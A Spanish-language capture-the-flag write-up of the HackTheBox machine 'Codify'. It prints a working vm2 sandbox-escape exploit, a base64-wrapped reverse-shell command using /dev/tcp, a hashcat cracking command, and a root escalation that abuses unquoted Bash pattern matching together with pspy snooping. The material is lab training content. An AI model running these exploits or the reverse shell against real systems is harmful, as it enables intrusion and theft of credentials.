HackTheBox: Codify
Codify es un servidor Linux sencillo con una aplicación web que permite a los usuarios experimentar con código Node.js. Trabajaremos con la librería vm2, una base de datos con credenciales de usuario, un pitfall de Bash y el uso de pspy para espiar procesos.
Enumeración
Empezamos con un escaneo de Nmap, en el que encontramos algunos puertos comunes abiertos junto con el puerto 3000, que en mi experiencia es el puerto de desarrollo de Express.js.
# Nmap 7.94SVN scan initiated as: nmap -p22,80,3000 -sCV -n -Pn 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up (0.072s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Accedimos al sitio web para ver qué encontrábamos.

Mirando las limitaciones, vemos que las librerías child_process y fs no están permitidas en el editor de código.

Yendo a “About Us”, encontramos que la página usa la librería vm2, que con un poco de búsqueda descubrimos que es vulnerable a ejecución remota de código.

¿Qué es vm2?
vm2 es un sandbox que puede ejecutar código no confiable con módulos nativos de Node en lista blanca, de forma segura.
Acceso inicial
PoC del exploit de vm2:
https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac Usando el PoC, obtuvimos una respuesta del servidor.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("cat /etc/passwd").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); 
Intentaremos obtener una reverse shell. Primero, convertimos nuestro payload a base64.
echo "bash -i >& /dev/tcp/<your-ip>/<your-port> 0>&1" | base64 -w 0 Después de algunas modificaciones al PoC y agregando nuestro payload, obtenemos una shell.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo <Your Payload Here> | base64 -d | bash").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); 
Buscando en el sistema, encontramos una base de datos muy interesante.

Abrimos la base de datos con SQLite3 para una investigación más profunda.
sqlite3 /var/www/contact/tickets.db Encontramos una base de datos main con las tablas tickets y users. En la tabla users encontramos el usuario joshua y un hash que intentaremos crackear con hashcat.

Para crackearlo, usamos el modo 3200 y el diccionario rockyou.txt.
hashcat -m 3200 <hash.txt> rockyou.txt Rápidamente obtuvimos la contraseña.
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:########## Usamos SSH para autenticarnos como el usuario joshua, lo que funcionó.

Obtuvimos nuestra primera flag.

Escalada de privilegios
Pasando a la escalada de privilegios, probamos un sudo -l, que mostró que tenemos privilegios de root para ejecutar un script del sistema: /opt/scripts/mysql-backup.sh.

Analizando el script, notamos varias vulnerabilidades, como el manejo de la autenticación y el uso de credenciales del directorio de root.
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi El problema principal está en la línea if [[ $DB_PASS == $USER_PASS ]];.
Cuando el lado derecho de un operador
==dentro de[[ ]]no está entre comillas, bash hace pattern matching en vez de tratarlo como una cadena. Así que si la contraseña contiene*, el resultado siempre será verdadero.
Entonces, si simplemente ponemos * como contraseña, el script la aceptará y continuará.
El segundo problema es cómo se pasa la contraseña a mysqldump: en vez de la contraseña provista por el usuario, el script la lee de /root/.creds. Así que si saltamos la validación con el truco de pattern matching, también podemos exponer la contraseña real usando una herramienta de monitoreo de procesos como pspy. Necesitamos dos sesiones SSH: una para correr pspy y otra para ejecutar el script.
https://github.com/DominicBreuker/pspy ¿Qué es pspy?
pspy es una herramienta de línea de comandos para espiar procesos sin permisos de root. Permite ver los comandos que ejecutan otros usuarios, cron jobs, etc. a medida que se ejecutan.
Después de descargar pspy y enviarlo a la víctima, le damos permisos de ejecución y lo corremos.
chmod +x pspy64s
./pspy64s -i 1 
Con pspy escuchando, vamos a nuestra otra sesión, ejecutamos el script y pasamos * como contraseña.

Como vemos, el script se ejecuta sin problemas, y mientras tanto capturamos todo el proceso, junto con la contraseña del usuario root.

Cambiamos de usuario en la máquina y obtuvimos acceso root.
su root 
Acá tenemos nuestra última flag.

Gracias por leer.